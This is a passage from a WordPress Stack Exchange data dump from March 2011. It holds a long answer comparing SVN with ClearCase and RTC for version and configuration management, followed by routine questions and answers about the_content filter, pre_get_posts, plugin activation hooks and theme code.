subversion &lt;strong&gt;checkout&lt;/strong&gt; but then on selected files. IMHO this is much cleaner. Furthermore even when you do the &lt;strong&gt;checkout&lt;/strong&gt; in ClearCase it gives you 3 options: other people may not work on it (e.g. with word docs), other people may work on it if really needed and &quot;everyone may work on it&quot; (e.g. with source code files)&#xA;So... this is what checkout, lock and commit means in SVN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components and baselining&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In tools like RTC and ClearCase you can group elements into components. Powerful since these components are part of the name-space and get versions of their own by baselining them. So e.g. the component &quot;WordPress&quot; gets baseline release 4.53. These baselines are then objects in themselves which can then also get metadata such as &quot;in test&quot;. &#xA;However SVN does not have ANY this. So... : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tags&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SVN (and so on the WordPress site) you see directories with numbers in an overall directory called 'tags'. A workaround idea. You simply grab a certain repository and dump it (file based) into a directory tags/3.2.4. That's it. It has no relation in the version management namespace etc... just a simple directory.... SIGH..... Impossible IMHO to do any configuration management with this kind of tool. So it is not a metadata object where you can script against and assign properties and do the wildest things no... its just a directory............. In RTC for comparison you can make a 'snapshot' of a certain baseline to also support this use case. In ClearCase UCM you would make a new branch/stream  of a a certain baseline and then 'view it'. But making a baseline would be enough since if anyone would ever want to have to look into that baseline he would simply create a branch of it and view it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;branches&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not used in WordPress environment as far as I know but maybe I am wrong and there are teams doing this for the releases of WordPress to back port changes to older versions. So I don't know maybe someone else knows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used for the namespace tree. To have 2 teams working on the same code you can say &quot;in english&quot; \team 1\hello.doc and \team 2\hello.doc. Both teams then go working and after a while you have \team 1\hello.doc\version 51 and \team 2\hello.doc\version 23. (so team 1 made 51 versions and team 2 made 23 versions). Now you have the possibility to merge from branch team 1 to branch team 2 and you will get merges in team 2 but at the end team 2 will have all changes of team 1 (version 24) and the individual branches still show the work for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In RTC and ClearCase this is not used but a more advanced object called &quot;streams&quot; (for comparison). From a low perspective you can consider these the same BUT....... when you are in real life your branches will contain A LOT of stuff. So in the real world you would have to make notes, release notes, documentation etc... To enhance this a stream contains not only the &quot;code&quot; but also the &quot;changes&quot; so that you know that RFC23 was about version 34,32 and 56 and you can release them seperately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO if you want to setup things right then you give EVERY person one or more personal streams/branches. So they can checkin/commit and checkout from there and it bothers noone. only when someone is ready they &quot;deliver&quot; their stuff to e.g. the team stream and the team stream delivers to the integration stream etc... In WP possibly the releases are branches but for regular persons: they all work in the same branch. A disadvantage since &quot;testing projects&quot; are then in c:\temp and not under version management and you can not have a group of people temporarily working on feature X that will only be needed in 5 releases time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the ideal world and trade-offs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have \team1\hello.doc and someone copies in \team2\ ALSO hello.doc that this is BAaaaaad. Since now we have 2 elements with different ID's where the user thinks they are the same but the system treats them as not the same. This is called 'evil twins' and you should never do this in such kind of environment. Always merge or base of branches.&#xA;If you understand evil twins you understand branches (why this is bad: because on a merge they will be treated as 2 different entities while you want them to be treated as the same) (or different kind-of behaviour in different systems). If a new user screws anything up, this is mostly it. 'I just deleted hello.doc and copied it back in' &lt;em&gt;argh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHANGES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SVN does not offer support for this BUT there are tools you can integrate with it to support some kind of integrated change management / ALM. In tools like ClearCase- UCM variant or RTC you can not change 1 letter without there being a defect, RFC, ticket, etc... In SVN when you a &lt;strong&gt;commit&lt;/strong&gt; you can type a description for your atomic commit. Meaning: you should try to have you changes in &quot;patchable&quot; pieces in other words: do an atomic commit per defect/change to have somewhat that behaviour. (but ofcourse it is nowhere afterwards all linked together in a naming tree such as in the ClearCase database) (so that you can automate release notes or help the poor guy being deployment manager getting tons of new sets of code, changes, releases and trying to mingle it together with no real tool to give him any insight on what it actually is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since SVN does not support change management WordPress set up to use TRAC:  &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/&lt;/a&gt; as you know because you live there :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel TRAC is there because a real tool like ClearCase or RTC which has changes integrated in as objects (yes the one you program against) is missing. So you have a tool where you discuss and submit a &quot;sort of &quot; change set to (while that concept is also missing). So these are the &quot;patches&quot; just a bunch of files without any of the metadata which you would expect in a good system (so I am now in Grumpy state). The number of TRAC is important since that is the overall ID in the naming tree linked to some changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Delivering Changes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something to write in a seperate blog article. In short: in the ideal world you would want to select your changes you want to 'deliver' (or another concept) and then don't worry about files, directories (versions of). You just &quot;deliver RFC 3 and 5&quot;. This is how ClearCase UCM or RTC works. In SVN / base clearcase you 'commit' a bunch of files where we hope that you made the right decision. That is a big difference and an important one. (this is why SVN is mostly used together integrated with e.g. jira / clearquest / etc... to reach this behaviour). Patching .... is not delivering it is more from 1 stream to another as a uhm 'patch'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Externals&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other tools you this differently in SVN it is more simple: if you have code from a part which is not your own then you can treat it as external version managed and ... to go back to the core concept: you mean that that part does not fall under you name space responsibility since it is all about naming. BUT even though it is external it falls under your responsibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the GUI there is not workflow in the regular &quot;right mouse&quot; but it is defined in the project structure. So it is part of your definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This concept, if used, is defined in the IEEE CMP as required to define (See under) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Integration and Merges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said. The paradigma behind SVN is to get stuff locally, do your work and then commit and then have the s***. In the GUI you do get though exactly the same tooling as most others. Here you should really understand three-way merging, two-way merging and the difference between conflicts that can be automatically resolved and conflicts that can not be automatically resolved. This last one then falls in 2 classes: those where the tool can propose you what the good end result would be and those in which it does not know what the end would be. You asked about the GUI but on the command line you get information files on what you should fix/merge before committing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots more for a blog article. (e.g. Open Source Development versus Enterprise Development and build meisters and integration managers since you really have to make different choices here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Last but not least the CMP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you ask for is a Configuration Management Plan for WordPress. This is a IEEE document. Meaning: whatever of the millions of configuration management plans you find on Google they all are valid against the IEEE specified (several versions) of the CMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like (e.g. HTTP) RFC's there is the IEEE CMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plan contains defined sections such as &quot;how to treat externals&quot; and &quot;how the namespace looks like, how we retrieve items and how we reproduce items&quot;, roles, responsibilities etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this CMP you can then create work instructions. Anyone wanting to know what the rules are can then read the CMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an open source context often the role 'configuration manager' is missing. So you also miss the Configuration Management Plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different from a public RFC (e.g. URI or HTTP) You have to pay for the IEEE standard document but... if you Google you will find it here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Delivery Street&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a delivery street you would have a team thinking about new business ideas. You have a maintenance department getting a gazillion production bugs in their system. You would have multiple teams working on the same code. and in each substreet you would have a requirements team defining requirements. An architecture team split in a functional team and an operational team ( use cases go to functional team and non functionals to the operational team). You would often have different releases parallel live in a unit test environment, acceptence environments, load and stresstesting environments, functional test environments, pre production test environments and production environment(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all of them are versions that are all traced to each other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;one version on a specific test environment is linked to a set of versions linked to a specific RFC and this one is linked to a specific versions of a requirement. The requirement is then linked to a specific version of a testset. ALL fall under version management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WP with SVN/TRAC I have not found yet the requirements database and the versioning database of the requirements. (so that you can do impact analyses and see what code changes if you change 1 requirement)(and that in a new release you can print out which requirements have changed). I have seen individual items in TRAC where links are made to other individual items in TRAC in the comments. I have also not seen traceability between TRAC items and the code other than in comments. So it means people are doing a lot in their heads and it is very dependent on an active community or core developers since they have much of this in their brain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is going far off topic &lt;em&gt;grin&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OSLC for ALM&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just one more note for this story: would it not be nice if there would be one package of standards for all of these application lifecycle management tools (ALM)? Someone thought of that and there are now standards so that all concepts are put on a higher abstraction level and then implemented in the tools. Google: OSLC for ALM. (so that all tools can talk to each other and for the user: that you understand them all by understanding the abstraction layer).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;C/ALM&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Even one step further if you have the time: the world is now heading for C/ALM, a next generation of products where the processes and the tooling is one integrated thing so that you dont have to wonder anymore what the process is. The first product in this generation is RTC. So if you understand SVN well or understand ClearCase or Jira or Trac or ANT or Agile or RUP or iRUP or whatever process, version management, change management, build management thing, you will need all of that to understand RTC because all of that is combined in one thing because they all tie in together and this on itself is interfacing through OSLC so that any of these older tools can &quot;plug in&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now i am really off topic.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-22T09:45:24.747" LastActivityDate="2011-03-22T09:45:24.747" CommunityOwnedDate="2011-03-22T09:45:24.747" CommentCount="4" />
  <row Id="12684" PostTypeId="1" AcceptedAnswerId="12686" CreationDate="2011-03-22T02:01:38.553" Score="0" ViewCount="239" Body="&lt;p&gt;I am looking for what params are passed to my filter function. Where can I find such info in the codex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content&lt;/a&gt; didn't provide much info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know if the post is a child of another&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-22T15:46:23.600" Title="What params are availble with the_content filter?" Tags="&lt;filters&gt;" AnswerCount="2" />
  <row Id="12685" PostTypeId="1" CreationDate="2011-03-22T02:35:31.750" Score="0" ViewCount="79" Body="&lt;p&gt;There's a section in the twentyten theme (actually in Starkers which is based on twentyten so I think it's the same) that uses a special printf string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;    &amp;lt;?php printf( __( '%2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php&#xA;    $tags_list = get_the_tag_list( '', ', ' );&#xA;    if ( $tags_list ):&#xA;?&amp;gt;&#xA;    &amp;lt;?php printf( __( '%2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It ends up removing the surrounding &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;'s which is nice. Does anyone know where this is documented or how to use other similar filters?&lt;/p&gt;&#xA;" OwnerUserId="4125" LastActivityDate="2011-03-22T02:35:31.750" Title="Twentyten using 'entry-utility-prep entry-utility-prep-cat-links' for categories and tags" Tags="&lt;categories&gt;&lt;tags&gt;&lt;listing&gt;" CommentCount="2" />
  <row Id="12686" PostTypeId="2" ParentId="12684" CreationDate="2011-03-22T03:39:48.993" Score="3" ViewCount="" Body="&lt;p&gt;I don't think there are any additional parameters passed, per se, to &lt;code&gt;the_content&lt;/code&gt;, but global variables like &lt;strong&gt;$post&lt;/strong&gt; are accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'check_for_post_parent' );&#xA;&#xA;function check_for_post_parent($content) {&#xA;     global $post;&#xA;     if ($parent_id = $post-&amp;gt;post_parent) {&#xA;          //do what you want to $content here, &#xA;          //now that you know $parent_id&#xA;          //...&#xA;          }&#xA;     return $content;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-22T15:46:23.600" LastActivityDate="2011-03-22T15:46:23.600" />
  <row Id="12687" PostTypeId="2" ParentId="12684" CreationDate="2011-03-22T03:45:02.513" Score="4" ViewCount="" Body="&lt;p&gt;In &lt;code&gt;wp-includes/post-template.php&lt;/code&gt; you’ll find the place, where the filters are applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Display the post content.&#xA; *&#xA; * @since 0.71&#xA; *&#xA; * @param string $more_link_text Optional. Content for when there is more text.&#xA; * @param string $stripteaser Optional. Teaser content before the more text.&#xA; */&#xA;function the_content($more_link_text = null, $stripteaser = 0) {&#xA;    $content = get_the_content($more_link_text, $stripteaser);&#xA;    $content = apply_filters('the_content', $content);&#xA;    $content = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $content);&#xA;    echo $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only parameter is the content text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can always use the global variable $post to get more information about the currently used post. Try the following snippet in your theme’s functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Priority 100 to let other filters do their work first.&#xA; */&#xA;add_filter( 'the_content', 'debug_post_info', 100 );&#xA;/**&#xA; * Print information about the current post.&#xA; *&#xA; * @param  string $content&#xA; * @return string&#xA; */&#xA;function debug_post_info( $content )&#xA;{&#xA;    return $content . '&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;' . var_export( $GLOBALS['post'], TRUE ) . '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a child page you get some nice data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass::__set_state(array(&#xA;   'ID' =&amp;gt; 2168,&#xA;   'post_author' =&amp;gt; '2',&#xA;   'post_date' =&amp;gt; '2007-09-04 09:52:18',&#xA;   'post_date_gmt' =&amp;gt; '2007-09-03 23:52:18',&#xA;   'post_content' =&amp;gt; 'This page has a parent.',&#xA;   'post_title' =&amp;gt; 'Child page 2',&#xA;   'post_excerpt' =&amp;gt; '',&#xA;   'post_status' =&amp;gt; 'publish',&#xA;   'comment_status' =&amp;gt; 'open',&#xA;   'ping_status' =&amp;gt; 'open',&#xA;   'post_password' =&amp;gt; '',&#xA;   'post_name' =&amp;gt; 'child-page-2',&#xA;   'to_ping' =&amp;gt; '',&#xA;   'pinged' =&amp;gt; '',&#xA;   'post_modified' =&amp;gt; '2007-09-04 09:52:18',&#xA;   'post_modified_gmt' =&amp;gt; '2007-09-03 23:52:18',&#xA;   'post_content_filtered' =&amp;gt; '',&#xA;   'post_parent' =&amp;gt; 2167,&#xA;   'guid' =&amp;gt; 'http://wpthemetestdata.wordpress.com/parent-page/child-page-1/child-page-2/',&#xA;   'menu_order' =&amp;gt; 0,&#xA;   'post_type' =&amp;gt; 'page',&#xA;   'post_mime_type' =&amp;gt; '',&#xA;   'comment_count' =&amp;gt; '0',&#xA;   'ancestors' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 2167,&#xA;    1 =&amp;gt; 2166,&#xA;  ),&#xA;   'filter' =&amp;gt; 'raw',&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'post_parent' =&amp;gt; 2167&lt;/code&gt; is the ID of the parent post. On pages without a parent the parameter is set to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-22T03:45:02.513" />
  <row Id="12688" PostTypeId="1" CreationDate="2011-03-22T05:11:50.190" Score="0" ViewCount="157" Body="&lt;p&gt;I am using the following code to generate a dropdown list for a custom taxonomy I have created. This code works fine to create a jump menu if I don't specify the taxonomy, any ideas on why it won't auto-generate the jump menu with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories('show_option_none=Select category&amp;amp;orderby=name&amp;amp;taxonomy=article_category'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2011-03-22T05:11:50.190" Title="Why doesn't the wp dropdown menu method work with cutom taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;template&gt;" CommentCount="3" />
  <row Id="12689" PostTypeId="1" CreationDate="2011-03-22T06:35:11.090" Score="0" ViewCount="127" Body="&lt;p&gt;I have been able to successfully filter for just a single category on the WP_query that is being used in this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/in-over-your-archives/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/in-over-your-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the filter like so to add conditional tags based on the page URI that the shortcode is being used on e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        add_action('pre_get_posts', 'bn_get_posts');&#xA;&#xA;        function bn_get_posts( $query ) {&#xA;            $path = $_SERVER['REQUEST_URI'];&#xA;            $dir = basename($path);&#xA;                if( is_archive() &amp;amp;&amp;amp; ( is_month() || is_year() ) ) {&#xA;                    $query-&amp;gt;query_vars['posts_per_page'] = -1;&#xA;                    $query-&amp;gt;query_vars['showposts'] = -1;&#xA;                        if (stristr($dir, 'newsroom')){&#xA;                            $query-&amp;gt;query_vars['cat'] = 15;&#xA;                        }&#xA;                        if (stristr($dir, 'press')){&#xA;                            $query-&amp;gt;query_vars['cat'] = 8;&#xA;                        }&#xA;                        if (stristr($dir, 'financial')){&#xA;                            $query-&amp;gt;query_vars['cat'] = 7;&#xA;                        }&#xA;                        if (stristr($dir, 'multimedia')){&#xA;                            $query-&amp;gt;query_vars['cat'] = 21;&#xA;                        }&#xA;                    }   &#xA;                return $query;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that this only works when the page is first loaded. When the month or year link is updated via ajax it once again loads all of the archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried numerous things, but it's a bit beyond my knowledge level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea of how to accomplish this or a better way to go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4126" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-22T10:38:00.577" LastActivityDate="2011-03-22T10:38:00.577" Title="Modifying &quot;In Over Your Archives&quot;-Plugin : query_vars &amp; ajax problem" Tags="&lt;plugins&gt;&lt;wp-query&gt;&lt;archive&gt;&lt;ajax&gt;" CommentCount="3" />
  <row Id="12690" PostTypeId="1" AcceptedAnswerId="12695" CreationDate="2011-03-22T06:37:15.117" Score="0" ViewCount="81" Body="&lt;p&gt;If I click on a category in my Wordpress blog, it displays an excerpt of all articles in the category, and finishes with a word that says &quot;continue&quot; which has no hyperlink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.superlogical.net/category/computing/windows/internet-explorer/&quot; rel=&quot;nofollow&quot;&gt;Example here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-03-22T07:44:50.467" Title="Category articles &quot;read more&quot; links not active" Tags="&lt;3.1&gt;" AnswerCount="2" />
  <row Id="12691" PostTypeId="2" ParentId="11848" CreationDate="2011-03-22T06:39:20.947" Score="0" ViewCount="" Body="&lt;p&gt;It's possible that your own Google Analytics cookie has the referrer set as facebook.com and this is not getting cleared. There are a number of ways this can happen - you may have followed your own link to the site and then subsequently logged in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear all your cookies, navigate directly to your site and log in. This should resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="2275" LastActivityDate="2011-03-22T06:39:20.947" />
  <row Id="12692" PostTypeId="1" AcceptedAnswerId="12712" CreationDate="2011-03-22T06:59:30.493" Score="1" ViewCount="367" Body="&lt;p&gt;How do I add custom variables to the wordpress query without having to hit the database twice. In the example below I want to add some meta filters. All this code works fine but I have been running query_posts() to execute it. I want to be able to add to the query before it is run by default so I don't have to query the db twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this I was hoping if I modify $wp_query-&gt;query before it is executed my changes would be added to the query. The query is being changed fine, just not the output. Any ideas? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'my_custom_query'); &#xA;function my_custom_query(){&#xA;&#xA;if(isset($_SESSION['size']) &amp;amp;&amp;amp; $_SESSION['size'] != 'all'){&#xA;    $cfilter[] = array( 'key' =&amp;gt; 'cc_size', 'value' =&amp;gt; $_SESSION['size'] );&#xA;}&#xA;&#xA;if(isset($_SESSION['gender']) &amp;amp;&amp;amp; $_SESSION['gender'] != 'all'){&#xA;    $cfilter[] = array( 'key' =&amp;gt; 'cc_gender', 'value' =&amp;gt; $_SESSION['gender'] );&#xA;}&#xA;&#xA;&#xA;$extraArgs = array(&#xA;    'orderby' =&amp;gt; 'post-title',&#xA;    'paged' =&amp;gt; get_query_var('paged')&#xA;);&#xA;&#xA;&#xA;if(!empty($cfilter)){ $extraArgs['meta_query'] = $cfilter; }&#xA;&#xA;global $wp_query;&#xA;$wp_query-&amp;gt;query = array_merge( $wp_query-&amp;gt;query, $extraArgs );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="4093" LastActivityDate="2011-03-22T12:48:07.003" Title="Adding Variables to post query" Tags="&lt;query-posts&gt;&lt;customization&gt;&lt;query&gt;" AnswerCount="2" />
  <row Id="12693" PostTypeId="2" ParentId="12692" CreationDate="2011-03-22T07:27:12.797" Score="3" ViewCount="" Body="&lt;p&gt;Hook into the action &lt;code&gt;'pre_get_posts'&lt;/code&gt;.&lt;br&gt;&#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'no_sticky_on_front' );&#xA;&#xA;function no_sticky_on_front()&#xA;{&#xA;    is_front_page() and $GLOBALS['wp_query']-&amp;gt;query_vars['ignore_sticky_posts'] = TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-22T07:27:12.797" CommentCount="1" />
  <row Id="12694" PostTypeId="2" ParentId="12690" CreationDate="2011-03-22T07:32:20.903" Score="0" ViewCount="" Body="&lt;p&gt;That 'Continue' you see is part of the next page/previous page functionality. If you look at the other pages of the site [http://www.superlogical.net/page/2/], when there are enough articles, it will display the continue with clickable arrows beside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how to style the paging links here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Styling_Page-Links&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Styling_Page-Links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2275" LastActivityDate="2011-03-22T07:32:20.903" CommentCount="1" />
  <row Id="12695" PostTypeId="2" ParentId="12690" CreationDate="2011-03-22T07:44:50.467" Score="0" ViewCount="" Body="&lt;p&gt;Open the theme index.php (or other theme template file) and look for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;more_reading&quot;&amp;gt;&#xA;    ...&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;more_reading&quot;&amp;gt;&#xA;    ...&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or just remove &quot;Continue&quot;&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-22T07:44:50.467" CommentCount="1" />
  <row Id="12696" PostTypeId="1" AcceptedAnswerId="12698" CreationDate="2011-03-22T08:04:12.387" Score="0" ViewCount="56" Body="&lt;p&gt;I'd like to check if the server is running PHP5.2. To do this, I use a activation-hook which will be registered with &quot;register_activation_hook&quot;. Instead of just returning a warning, i'd like to auto-disable the plugin and redirect to the plugins.php in WP-Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this doesn't work. No error or other output. The activation-hook fires correclty, tested with a wp_die().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    register_activation_hook(__FILE__, 'MyActivationHook');&#xA;    function MyActivationHook() {&#xA;        if(version_compare(PHP_VERSION, '111.2', '&amp;lt;')) {&#xA;            deactivate_plugins(plugin_basename(__FILE__));&#xA;            wp_redirect(admin_url('plugins.php')); &#xA;            //wp_die(printf(__('Sorry, you need at least PHP version %1s to use this plugin. Your current PHP version is %2s.', 'textdomain'), '5.2', PHP_VERSION));&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-22T08:43:06.913" Title="Deactivate plugin on registration" Tags="&lt;plugin-development&gt;&lt;comparison&gt;&lt;activation&gt;" AnswerCount="1" />
  <row Id="12697" PostTypeId="2" ParentId="12607" CreationDate="2011-03-22T08:18:32.220" Score="0" ViewCount="" Body="&lt;p&gt;I had a similiar problem with german umlauts. The problem also occurred on a db export with phpmyadmin. My solution was to export the database with the the command line tool mysql and the parameter &quot;--default-character-set=&quot;utf8&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach, if you haven't access to a linux shell:&#xA;&lt;a href=&quot;http://www.mysqldumper.net/&quot; rel=&quot;nofollow&quot;&gt;Install and use MySQLDumper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-22T08:18:32.220" />
  <row Id="12698" PostTypeId="2" ParentId="12696" CreationDate="2011-03-22T08:43:06.913" Score="0" ViewCount="" Body="&lt;p&gt;You always have to &lt;code&gt;exit;&lt;/code&gt; after a redirect.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-22T08:43:06.913" CommentCount="2" />
  <row Id="12699" PostTypeId="2" ParentId="12679" CreationDate="2011-03-22T09:20:30.370" Score="4" ViewCount="" Body="&lt;p&gt;If you look at Mystique theme (a great example of option panel with preview BTW) you can see that the main idea is to lavrage the form fields OnChange or change() events to load the theme's preview with Jquery and a bit of ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have one function to load by ajax the preview&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mystique_get_site_preview() {&#xA;  check_ajax_referer(&quot;site_preview&quot;); ?&amp;gt;&#xA;  &amp;lt;iframe id=&quot;themepreview&quot; name=&quot;themepreview&quot; src=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/?preview=1&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;  &amp;lt;?php die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to create the auto preview effect you use some JQuery with PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nonce = wp_create_nonce('site_preview');&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function () {&#xA;        jQuery(&quot;#$zona1y&quot;).change(function() {// if a user changed the 